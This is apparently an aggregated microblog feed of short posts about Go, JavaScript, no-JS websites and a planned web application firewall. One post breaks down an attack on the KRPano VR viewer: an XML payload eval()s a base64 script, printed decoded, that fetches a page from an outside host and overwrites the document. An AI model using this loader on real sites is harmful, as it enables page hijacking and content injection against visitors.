One of the nicest things about Go is the language itself, comparing Go to other popular languages in terms of the complexity to learn to be proficient in:
- Go:
25
keywords (Stack Overflow); CSP-style concurrency (goroutines & channels)
- Python 2:
30
keywords (TutorialsPoint); GIL-bound threads & multiprocessing (Wikipedia)
- Python 3:
35
keywords (Initial Commit); GIL-bound threads,asyncio
& multiprocessing (Wikipedia, DEV Community)
- Java:
50
keywords (Stack Overflow); threads +java.util.concurrent
(Wikipedia)
- C++:
82
keywords (Stack Overflow);std::thread
, atomics & futures (en.cppreference.com)
- JavaScript:
38
keywords (Stack Overflow); single-threaded event loop &async/await
, Web Workers (Wikipedia)
- Ruby:
42
keywords (Stack Overflow); GIL-bound threads (MRI), fibers & processes (Wikipedia)
Also spent the morning continuing to think about a new design for EdgeGuard’s WAF. I’m basically going to build an entirely new pluggable WAF that will be designed to only consider Rate Limiting, IP/ASN-based filtering, JavaScript challenge handling, Basic behavioral analysis and Anomaly detection.
The only part of this design I’m not 100% sure about is the Javascript-based challenge handling? 🤔 I’m also considering making this into a “proof of work” requirement too, but I also don’t want to falsely block folks that a) turn Javascript™ off or b) Use a browser like links
, elinks
or lynx
for example.
Hmmm 🧐
i wonder if i could make a little yarn widget for my site to show my last post. that’d be fun. sadly i do not know javascript
New article: “E2E Testing with TestCafe on Docker.”
I’ll show you how to get started with TestCafe, a framework for performing E2E tests.
https://programadorwebvalencia.com/pruebas-e2e-con-testcafe-sobre-docker/
#docker #testcafe #e2e #testing #javascript #webdev
HTMX is fine! You can add dynamic sections with a simple endpoint. It is better that JavaScript.
@lyse@lyse.isobeef.org The one in question is more like the javascript version for unwrapping errors when accessing methods.
const value = some?.deeply?.nested?.object?.value
but for handling errors returned by methods. So if you wanted to chain a bunch of function calls together and if any error return immediately. It would be something like this:
b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?
// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?
I am however infavor of having a sort of ternary ?
in go.
PS. @prologic@twtxt.net for some reason this is eating my response without throwing an error :( I assume it has something to do with the CSRF. Can i not have multiple tabs open with yarn?
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml
parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
morning yarn friends i’ve been playing with astro the SSG and it’s a blast i see why my friends love it and rec it to everyone. i may think javascript was a mistake but this is super cool
Honestly… not much. Have abandon two projects (both private) on Golang and one related to cryptography. My mostly languages are Python and Javascript (also can PHP). After writing code on Go i spend same time on fixing dumb errors
There is JavaScript, but not everything is implemented (properly). They’re writing everything including the JavaScript engine from scratch.
A huge effort 😲
Rediscovered how it’s possible to show/hide content on an HTML page without JavaScript, using a checkbox and some sprinkle of CSS magic.
I needed something to help with a morning schedule for two kiddos. It highlights the current 5-minute block as it goes. I think this was my first time reaching for JavaScript for a personal project. https://sidequest.club/stages.html
Tell me you write go like javascript without telling me you write go like javascript:
import "runtime/debug"
var Commit = func() string {
if info, ok := debug.ReadBuildInfo(); ok {
for _, setting := range info.Settings {
if setting.Key == "vcs.revision" {
return setting.Value
}
}
}
return ""
}()
I want a browser for iOS that’s basically Mobile Safari but without JavaScript (or at least an easy toggle). Does such a thing exist?
@fastidious@arrakis.netbros.com the things Gemini has going for it are mutual TLS and lack of JavaScript. Which makes for a secure albeit boring experience (much like gopher). The fake markdown is a bit of a drag.
A render mode for Gemini probably wouldnt be too hard. There are markdown to Gemini libs out there.
With Web3 the whole trust a 3rd party browser ext + high fees + env impact for compute and storage are serious no gos for me.. I have heard one too many horror stories about clicking the wrong link and some script draining your metamask wallet.
JavaScript : web apps
I understand the hate for JavaScript. But what option is there for writing web enabled applications for desktop / mobile?
@fastidious@arrakis.netbros.com A delay is fine. Just, sometimes I’ll do something else, and look back at my feed a few hours later and forget that I haven’t refreshed the feed. And I totally support making sure the experience continues to be first-class for folks opting out of Javascript.
In my quest to find a nicer HTML layout for my site, I just found bloated JavaScript thigs and shitty Google Fonts
JavaScript applications have become not-to-be-kidding complex lately. I guess that’s why I am longing for simpler days.
What flavor or regexp? I tried here https://regexr.com/ with both PCRE and JavaScript and neither seems quite right. I’m relatively good with regexps, but they tend to be write-only :-/
Honestly never realized before Beakerbrowser that peer-to-peer could be used to share markdown, JavaScript and html files.
I backed Bangle.js on Kickstarter: a JavaScript and TensorFlow powered hackable smartwatch - https://banglejs.com
If your website is not static, it is not a website: it is an application, & should be distributed as an executable. If your website contains javascript, it is not a website: it is an application & should be distributed as an executable.
If it doesn’t work properly with javascript turned off, it’s not really a website. If it doesn’t work properly with css turned off, it’s not really a website. If it doesn’t work properly in a text-only environment, it’s not really a website.
I Used The Web For A Day With JavaScript Turned Off “ Smashing Magazine https://www.smashingmagazine.com/2018/05/using-the-web-with-javascript-turned-off/
Translating HyperTalk to JavaScript http://lexnet.bravepages.com/HTMLJS.htm
GitHub - marciot/retroweb-salto-simulator-js: Modifications to the SALTO Simulator to allow for compilation to JavaScript via Emscripten https://github.com/marciot/retroweb-salto-simulator-js
Translating HyperTalk to JavaScript http://lexnet.bravepages.com/HTMLJS.htm
Javascript is a just-OK language saddled with the world’s worst graphics toolkit: three distinct languages, each with specs so large that nobody has written a new implementation in 20 years, for live-editing a rich tech document to make it resemble a canvas, in ways that are not portable between the 3 implementations or minor revisions of the same implementation.
The easiest path to GDPR compliance: switch to a completely static website with no javascript, CGI, or CSS, and rotate the logs daily.
Let’s Replace JavaScript with Something Better https://john.ankarstrom.se/english/texts/replacing-javascript/
AdBlock Adds Feature to Cache … https://www.bleepingcomputer.com/news/software/adblock-adds-feature-to-cache-popular-javascript-libraries/
GitHub - yaronn/blessed-contrib: Build terminal dashboards using ascii/ansi art and javascript https://github.com/yaronn/blessed-contrib
GitHub - denysdovhan/wtfjs: A list of funny and tricky JavaScript examples https://github.com/denysdovhan/wtfjs
GitHub - sequitur/improv: A model-backed generative text library for JavaScript. https://github.com/sequitur/improv
The Creator of JavaScript Just Launched a Cryptocurrency to Improve Online Ads - Motherboard https://motherboard.vice.com/en_us/article/the-creator-of-javascript-just-launched-a-cryptocurrency-for-online-ads